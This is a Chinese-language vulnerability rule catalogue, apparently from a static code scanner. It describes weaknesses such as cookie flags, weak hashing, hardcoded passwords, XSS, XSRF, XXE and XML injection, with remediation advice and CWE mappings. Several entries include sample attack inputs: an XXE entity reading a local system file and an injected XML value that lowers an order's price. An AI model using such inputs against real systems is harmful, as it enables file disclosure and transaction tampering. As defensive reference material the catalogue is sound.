建议	通用指南： 不要让用户输入或任何其他外部数据影响格式字符串。 确保使用静态格式字符串作为格式参数调用所有字符串格式函数，并根据静态格式字符串将正确数量的实参传递给函数。 也可在打印格式函数的格式化字符串参数使用用户输入之前对其进行验证，并确保输入中不包含格式化标记。 具体建议： 不要在格式化函数的格式字符串参数（通常是第一个实参）中使用用户输入。 也可仅使用格式字符串的输入的大小或长度，但不能使用输入本身的实际内容。
CWE	CWE ID 134
OWASP2017	A1-Injection

返回目录

漏洞名称	**Unencrypted Sensitive Data Storage**
默认严重性	4
摘要	应用程序以不安全的方式将 YY（元素） 数据保存在客户端的 Y（文件） 文件第 M 行。
解释	攻击者如果可以访问用户的客户端设备，就能从客户端存储中获取到存储型信息，例如用户的敏感个人数据 (PII)。使用此存储也会增加因其他方式将内容泄漏给攻击者的风险，例如跨站点脚本攻击 (XSS)。这会伤害用户以及他们的隐私，并可能导致声誉损害、财务损失、甚至身份失窃。 应用程序在客户端浏览器或设备上存储数据，其中可能包含 PII（个人身份信息）。应用程序使用不安全的存储方式，未提供任何针对非法访问的内置保护。数据在存储前未经过加密或净化，因此可访问设备或浏览器的恶意实体可以轻松地获取用户的数据。 应用程序将未加密的用户信息保存在应用程序的私有存储空间，依靠平台保护信息。 依靠平台保证信息安全是一种平台出现漏洞或设备越狱时很容易出现问题的做法，意味着这些未安全地保存的信息会被其他应用程序访问。
建议	避免将 PII 等敏感数据保存在无保护的客户端上。 如果必须将 PII 或其他敏感数据保存在客户端上，请确保对其进行加密或提供保护。
CWE	CWE ID 922
OWASP2017	None

返回目录

漏洞名称	**Unprotected Cookie**
默认严重性	3
摘要	Web 应用程序的 X（文件） 文件第 N 行的 XXX（方法） 方法创建了一个 cookie XX（元素） 并在响应中返回此 cookie。但是，应用程序未配置为自动设置 cookie 的 "httpOnly" 特性，代码也未明确将此添加到 cookie。
解释	用户侧脚本（例如 JavaScript）通常可以访问含有用户会话标识符的 Cookies 或者其他敏感应用 cookies。除非 Web 应用使用 "httpOnly" cookie 标志显式禁止这种情况，否则这些 cookie 可能被恶意客户端脚本（如跨站脚本 (XSS)）读取和访问。根据“深度防御”，这个标志可以减少 XSS 漏洞被发现时造成的损害。 同样，敏感 cookie 可能会因通过不受保护的 HTTP 协议发送而暴露，使攻击者嗅探到用户的请求并假扮成用户。 默认情况下，Web 应用框架不会为应用程序的 sessionid cookie 和其他敏感应用程序 cookie 设置 "httpOnly" 标志。同样，应用程序也不会显式使用 "httpOnly" cookie 标志，因此使客户端脚本默认可以访问 cookie。 同样，无论底层是什么安全协议（例如未保护 HTTP），缺少“安全”标志的 cookie 都会被浏览器自动发送到 Web 服务器。使用“安全”属性标志的 Cookie 只能通过安全 HTTPS 连接发送。
建议	- 一定要为所有敏感的服务器侧 cookie 设置 "httpOnly" 标志。 - 强烈建议部署 HTTP 严格传输安全 (HSTS)，以确保将在已安全的通道上发送 cookie。 - 由应用程序为每个 cookie 显式设置 "httpOnly" 标志。 - 使用“安全”属性配置和设置所有要创建的敏感 cookie。
CWE	CWE ID 614
OWASP2017	None

返回目录

漏洞名称	**Unsafe Use Of Target blank**
默认严重性	3
摘要	使用 X（文件） 文件第 N 行的 XX（元素） 但未正确地设置 "rel" 特性，或取消新窗口与其父窗口的关联，这是不安全的新窗口打开方式。
解释	毫无戒备的用户可能会点击攻击者准备的有漏洞的外观合法的链接，从而打开恶意页面。打开的新页面可以将原始页面重定向到另一个恶意页面，并滥用用户的信任进行非常有迷惑性的网络钓鱼攻击。 使用 HTML 元素（带任意值的 "target" 特性）或使用 JavaScript 中的 window.open() 打开新页面时，新页面可以通过 window.opener 对象访问原始页面。这可能导致被重定向到恶意的钓鱼页面。
建议	对于 HTML: 除非有需要，否则不要为用户创建的链接（用任意值）设置 "target" 特性。 如果有需要，使用 "target" 特性时，要同时将 "rel" 特性设置为 "noopener noreferrer": 对于 Chrome 和 Opera，则为 "noopener"， 对于 Firefox 和旧浏览器，则为 "noreferrer" Safari 无类似解决方案 对于 JavaScript: 使用 "var newWindow = window.open()" 调用不可信任的新窗口时，先设置 "newWindow.opener=null"，再将 "newWindow.location" 设置为可能不可信任的站点，这样在新窗口打开新站点时，它无法访问其原始的 "opener" 特性
CWE	CWE ID 1022
OWASP2017	None

返回目录

漏洞名称	**Use of Broken or Risky Cryptographic Algorithm**
默认严重性	3
摘要	在 XXX（方法） 中，应用程序使用 X（文件） 文件第 N 行中弱或甚至容易破解的加密算法 XX（元素） 保护敏感数据。
解释	使用弱算法或已被破解的算法首先会破坏加密机制提供的保护，从而损害敏感用户数据的机密性或完整性。这可能会使攻击者窃取秘密信息、更改敏感数据或伪造已修改消息的来源。 应用程序代码通过 String 参数、工厂方法或特定实现类指定所选加密算法的名称。这些算法有致命的加密弱点，使其能在合理的时间范围内被轻松破解。强大的算法应该能够承受远远超出可能范围的攻击。
建议	仅使用强大的、经过批准的加密算法，包括 AES、RSA、ECC 和 SHA-256 等。 不要使用据称被完全破解过的弱算法，例如 DES、RC4 和 MD5 等。如果可能，尽量避免使用没有足够安全边际的非“面向未来”的废弃算法，即使此类算法现在还“足够安全，也不应该使用。这包括那些实际更弱且有更强替代算法的算法，即使此类算法尚未遭到致命的破解——例如 SHA-1、3DES，也不应该使用。 考虑使用相关官方的分类集，例如 NIST 或 ENISA。尽量只使用 FIPS 140-2 认证的算法实现。
CWE	CWE ID 327
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Use Of Controlled Input On Sensitive Field**
默认严重性	3
摘要	应用程序使用 Y（文件） 文件第 M 行 YY（元素） 中的可控输入填写 X（文件） 文件第 N 行 XX（元素） 中的输入字段。因为相应输入字段与 DOM 的特性值同步并可在 CSS 上下文中访问，所以这可能带来泄漏隐私的风险。

解释	将 DOM 中输入字段的值特性与每次编辑的值特性同步，会使用户提供的信息显示在 CSS 上下文中。
	恶意攻击者可能使用安装在用户浏览器中的恶意扩展或应用程序加载的第三方样式表通过 CSS 键盘记录攻击监视用户交互和击键。
	同样，应用程序中之前的 XSS 或 CSS 注入漏洞也会包含自定义 CSS 以发起相同的攻击并窃取用户敏感信息。
	编写 HTML 时，可以为 HTML 元素设置不同的特性，浏览器解析此代码时，就会创建相应的 DOM 节点。对于给定的 DOM 节点对象，属性就是该对象的属性，特性是该对象的特性属性的元素。
	对于给定的例子：
	<input id="myInput" type="password" value="">
	相应的 DOM 节点会有 id、type 和 value 属性。value 属性保存输入字段中的当前值，value 特性是 HTML 中定义的初始值。
	用户交互期间，可以通过 Javascript 使用 value 属性访问输入值中的更改：
	property.myInput.value // 返回用户交互时输入的值
	但此元素的 value 特性为空，因为在 HTML 定义中它没有值：
	myInput.getAttribute('value') // 返回""
	动态更新/同步给定 DOM 对象的特性值后，敏感信息将暴露在 CSS 上下文中。然后，攻击者可以注入查找输入字段的特定特性值的 CSS 以窃取用户的敏感信息。
	这种同步行为被广泛用于 React 等框架中，称为受控输入，密码等敏感字段应避免使用。

建议	避免动态更新敏感字段的特性值（受控输入）。 将内容安全策略设置为仅加载来自可信任来源的资源。 如果使用 React，则为敏感字段使用不受控制的输入。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Use of Deprecated or Obsolete Functions**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Use Of Hardcoded Password**
默认严重性	3
摘要	应用程序进行身份验证（如验证用户身份或访问另一个远程系统）时使用一个硬编码的 XX（元素） 密码。X（文件） 文件第 N 行上的此密码在代码中显示为纯文本，并且如果不重建应用程序就无法更改此密码。
解释	硬编码的密码容易使应用程序泄露密码。如果攻击者可以访问源代码，攻击者就能窃取嵌入的密码，然后用其伪装成有效的用户身份。这可能包括伪装成应用程序的最终用户身份，或伪装成应用程序访问远程系统，如数据库或远程 Web 服务。 一旦攻击者成功伪装成用户或应用程序，攻击者就可以获得系统的全部访问权限，执行所伪装身份可以执行的任何操作。 应用程序代码库存在嵌入到源代码中的字符串文本密码。该硬编码值会被用于比较用户提供的凭证，或用于为下游的远程系统（例如数据库或远程 Web 服务）提供身份验证。 攻击者只需访问源代码即可显示硬编码的密码。同样，攻击者也可以对编译的应用程序二进制文件进行反向工程，即可轻松获得嵌入的密码。找到后，攻击者即可使用密码轻松地直接对应用程序或远程系统进行假冒身份攻击。 此外，被盗后很难轻易更改密码以避免被继续滥用，除非编译新版本的应用程序。此外，如果将此应用程序分发到多个系统，则窃取了一个系统的密码就等于破解了所有已部署的系统。
建议	不要在源代码中硬编码任何秘密数据，特别是密码。 特别是用户密码应储存在数据库或目录服务中，并使用强密码 hash（例如 bcrypt、scrypt、PBKDF2 或 Argon2）进行保护时。不要将用户密码与硬编码的值进行对比。 系统密码应保存在配置文件或数据库中，并使用强加密（例如 AES-256）进行保护。要安全地管理加密密钥，不能使用硬编码。
CWE	CWE ID 259
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Use Of HTTP Sensitive Data Exposure**
默认严重性	3
摘要	Y（文件） 文件第 M 行 YY（元素） 中的网站服务器使用 HTTP，意味着进出此服务器的所有流量都是未加密的。
解释	不使用安全的通信通道（例如 HTTP 上的 TLS）会使通信被窃听和受到中间人攻击。 Web 服务器使用 HTTP 但未进行任何 TLS 加密。
建议	切勿使用纯文本传输敏感信息 一定要确保连接（特别是在不可信任的网络上）有配置正确的 TLS 的保护
CWE	CWE ID 319
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Use of Implicit Types on Vue Component Props**
默认严重性	2
摘要	第 M 行的 prop 定义被定义为一个变量数组，但未指定类型。
解释	如果未显式定义 prop 类型，就会难以理解组件的用途，为用户提供很差的 API 体验。 组件 prop 被定义为一个值列表而非指定其类型。
建议	定义组件的 prop 时，至少要指定其类型。 最好的方式是为各个 prop 定义 Vue 提供的属性： prop 的类型（如 String、Number 等） 提供 prop 强制定义相关信息所需属性。 validator 函数要负责验证为 prop 提供的值。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Use of Insufficiently Random Values**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法使用弱方法 XX（元素） 生成随机值。这些值可能被用作个人身份标识、会话 Token 或密码输入；但是，因为其随机性不足，攻击者可能推导出值。
解释	随机值经常被用作一种机制，用于防止恶意用户知道或预测给定的值，例如密码、密钥、或会话标识。根据这个随机值的用途，攻击者可以根据通常用于生成特定随机性的源预测下一次生成的数，或者之前生成的值；但是，虽然它们看起来是随机的，但大量统计样本可能显示它们并没有足够的随机性，可能的"随机"值空间比真正的随机样本小得多。这使得攻击都能够推导或猜出这个值，从而劫持其他用户的会话、假冒其他用户，或破解加密密钥（根据伪随机值的用途）。 应用程序使用弱方法生成伪随机值，因此可能使用相对小的样本大小确定其他数字。因为所使用的伪随机数发生器被设计为使用统计上分布均匀的值，所以它几乎就是确定性的。因此，收集了一些生成的值之后，攻击者就可能计算出过去的或未来的值。 具体而言，如果在安全环境中使用此伪随机值，例如一次性密码、密钥、secret 标识符或 salt，则攻击者将能够预测生成的下一个数字并窃取它，或猜到先前生成的值并破坏其原来的用途。
建议	总是使用密码安全的伪随机数生成器，不要使用基本的随机方法，特别是在安全环境下 使用您的语言或平台上内置的加密随机生成器，并确保其种子安全。不要为生成器提供非随机的弱种子。（在大多数情况下，默认是有足够的随机安全性）。 确保使用足够长的随机值，提高暴力破解的难度。
CWE	CWE ID 330
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Use of Single Word Named Vue Components**
默认严重性	2
摘要	Y（文件） 定义的组件是使用一个单词命名的，这可能与现有 HTML 元素冲突，并且使其他开发人员和用户难以理解其用途。
解释	使用一个单词定义组件会导致与现有和未来 HTML 元素冲突，因为所有 HTML 元素都是使用一个单词命名的。 将组件名称定义为一个单词。
建议	Vue 建议所有组件名称都应该为多词，root App 组件或 Vue 提供的组件除外。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**VF Remoting Client Potential Code Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**VF Remoting Client Potential XSRF**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**VF Remoting Client Potential XSS**
默认严重性	4
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Vue DOM XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。 避免使用 v-html 指令，此指令会不经转义即输出数据，可能导致 XSS 漏洞。 在渲染函数中通过 domProps 添加不可信任内容到 innerHTML，因为这会导致与 v-html 指令相同的漏洞。 数据应与组件绑定，而不能用于动态地编写原始 HTML 并追加到 DOM 元素。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Weak Cryptographic Hash**
默认严重性	3.0
摘要	弱加密散列值无法保证数据完整性，且不能在安全性关键的上下文中使用。
解释	MD2、MD4、MD5、RIPEMD-160 和 SHA-1 是常用的加密散列算法，通常用于验证消息和其他数据的完整性。然而，由于最近的密码分析研究揭示了这些算法中存在的根本缺陷，因此它们不应该再用于安全性关键的上下文中。 由于有效破解 MD 和 RIPEMD 散列的技术已得到广泛使用，因此不应该依赖这些算法来保证安全性。对于 SHA-1，目前的破坏技术仍需要极高的计算能力，因此比较难以实现。然而，攻击者已发现了该算法的致命弱点，破坏它的技术可能会导致更快地发起攻击。
建议	停止使用 MD2、MD4、MD5、RIPEMD-160 和 SHA-1 对安全性关键的上下文中的数据进行验证。目前，SHA-224、SHA-256、SHA-384、SHA-512 和 SHA-3 都是不错的备选方案。但是，由于安全散列算法 (Secure Hash Algorithm) 的这些变体并没有像 SHA-1 那样得到仔细研究，因此请留意可能影响这些算法安全性的未来研究结果。
CWE	CWE ID 328
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption**
默认严重性	4.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 会使用弱加密算法，无法保证敏感数据的保密性。识别调用会使用无法保证敏感数据的保密性的弱加密算法。
解释	过时的加密算法（如 DES）无法再为敏感数据的使用提供足够的保护。加密算法依赖于密钥大小，这是确保加密强度的主要方法之一。加密强度通常以生成有效密钥所需的时间和计算能力来衡量。计算能力的提高使得在合理的时间内获得较小的加密密钥成为可能。例如，在二十世纪七十年代首次开发出 DES 算法时，要破解在该算法中使用的 56 位密钥将面临巨大的计算障碍，但今天，使用常用设备能在不到一天的时间内破解 DES。
建议	使用密钥较大的强加密算法来保护敏感数据。DES 的一个强大替代方案是 AES（高级加密标准，以前称为 Rijndael）。在选择算法之前，首先要确定您的组织是否已针对特定算法和实施进行了标准化。
CWE	CWE ID 327
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Encryption:Insufficient Key Size**
默认严重性	4.0
摘要	X（文件） 中的 XXX（方法） 方法使用了密钥长度不够的加密算法，导致加密数据容易受到强力攻击。另外，当使用的密钥长度不够时，强大的加密算法便容易受到强力攻击。
解释	当前的密码指南建议，RSA 算法使用的密钥长度至少应为 2048 位。但是，计算能力和因子分解技术方面的持续进步 [1] 意味着未来将不可避免地需要提高建议的密钥大小。 示例 1：以下代码可生成 512 位 RSA 密钥。 ... crmfObject = crypto.generateCRMFRequest("CN=" + name.value, password.value, authenticator, keyTransportCert, "setCRMFRequest();", 512, null, "rsa-dual-use"); ... 对于对称加密，密钥长度必须至少为 128 位。
建议	最低限度下，确保 RSA 密钥长度不少于 2048 位。未来几年需要较强加密的应用程序的密码长度应至少为 4096 位。 如果使用 RSA 算法，请确保特定密钥的长度至少为 2048 位。 示例 2：以下代码可生成 2048 位 RSA 密钥。 ... crfmObject = crypto.generateCRMFRequest("CN=" + name.value, password.value, authenticator, keyTransportCert, "setCRMFRequest();", 2048, null, "rsa-dual-use"); ... 同样，如果使用对称加密，请确保特定密钥的长度至少为 128 位（适用于 AES）和 168 位（适用于 Triple DES）。
CWE	CWE ID 326
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**XML External Entities XXE**
默认严重性	4
摘要	YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 加载和解析 XML。 此 XML 是之前从 X（文件） 文件第 N 行的用户输入 XX（元素）获取的。注意 YY（元素） 已被设置为自动加载和替换 XML 中的所有 DTD 实体引用，包括对外部文件的引用。
解释	应用程序将解析和替换用户控制的 XML 文档中的 DTD 实体引用，这使攻击者能制作 XML 文档来读取任意服务器文件。此 XML 文档可能包含 XML 实体引用，引用指向任意本地文件的嵌入式 DTD 实体定义。这使攻击者能够检索服务器上的任意系统文件。 攻击者可能上传包含 DTD 声明的 XML 文档，特别是引用服务器磁盘上的本地文件的实体定义，例如 <!ENTITY xxe SYSTEM "file:///c:/boot.ini">。然后，攻击者可能添加一个再引用回该实体定义的 XML 实体引用，例如 &xxe; 。然后如果已解析的 XML 文档返回用户，结果中将包含敏感的系统文件的内容。 这是 XML 解析器造成的，因其配置是自动解析 DTD 声明并分解实体引用，而不是完全禁用 DTD 和外部引用。
建议	通用指南： 尽量避免直接处理用户输入。 如果确实需要接收用户的 XML，请确保 XML 解析器受到限制和约束。 特别是禁用 DTD 解析和实体解析时。在服务器上应用严格的 XML 模式，并相应地对输入 XML 进行验证。 具体建议： 使用安全的 XML 解析器，禁用 DTD 解析和实体分解。 不要启用 DTD 解析或实体解析。
CWE	CWE ID 611
OWASP2017	None

返回目录

漏洞名称	**XML Injection**
默认严重性	4.0
摘要	在 X（文件） 的第 N 行中，XXX（方法） 方法将写入未经验证的 XML 输入。攻击者可以利用该调用将任意元素或属性注入 XML 文档。如果在 XML 文档中写入未验证的数据，可能会使攻击者修改 XML 的结构和内容。
解释	XML injection 会在以下情况中出现： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。 <IfDef var="ConditionalDescriptions"> <ConditionalText condition="taint:number"> 在这种情况下，即使数据为数字类型，由于其未经验证仍会被视为恶意内容，因此程序仍将报告漏洞，但是优先级值会有所降低。 </ConditionalText> </IfDef> 2. 数据写入到 XML 文档中。 在这种情况下，由 Y（文件）的第 M 行的 YY（函数） 编写 XML。 应用程序通常使用 XML 来存储数据或发送消息。当 XML 用于存储数据时，XML 文档通常会像数据库一样进行处理，而且可能会包含敏感信息。XML 消息通常在 web 服务中使用，也可用于传输敏感信息。XML 消息甚至还可用于发送身份验证凭据。 如果攻击者能够写入原始 XML，则可以更改 XML 文档和消息的语义。危害最轻的情况下，攻击者可能会插入无关的标签，导致 XML 解析器抛出异常。XML injection 更为严重的情况下，攻击者可以添加 XML 元素，更改身份验证凭据或修改 XML 电子商务数据库中的价格。还有一些情况，XML injection 可以导致 cross-site scripting 或 dynamic code evaluation。 例 1： 假设攻击者能够控制下列 XML 中的 shoes。 <order> <price>100.00</price> <item>shoes</item> </order> 现在假设，在后端 Web 服务请求中包含该 XML，用于订购一双鞋。假设攻击者可以修改请求，并将 shoes 替换成 shoes</item><price>1.00</price><item>shoes。新的 XML 如下所示： <order> <price>100.00</price> <item>shoes</item><price>1.00</price><item>shoes</item> </order> 这样，攻击者可能只花 1 美元就可以购买一双价值 100 美元的鞋。

返回目录

建议	将用户提供的数据写入 XML 时，应该遵守以下准则: 1.不要使用从用户输入派生的名称创建标签或属性。 2.写入到 XML 之前，先对用户输入进行 XML 实体编码。 3. 将用户输入包含在 CDATA 标签中。
CWE	CWE ID 91
OWASP2017	A1 Injection

返回目录

漏洞名称	**XS Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可通过用户输入 XX（元素） 注入执行的代码 ，这会被应用程序在 X（文件） 文件第 N 行的 XXX（方法） 方法中检索到。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
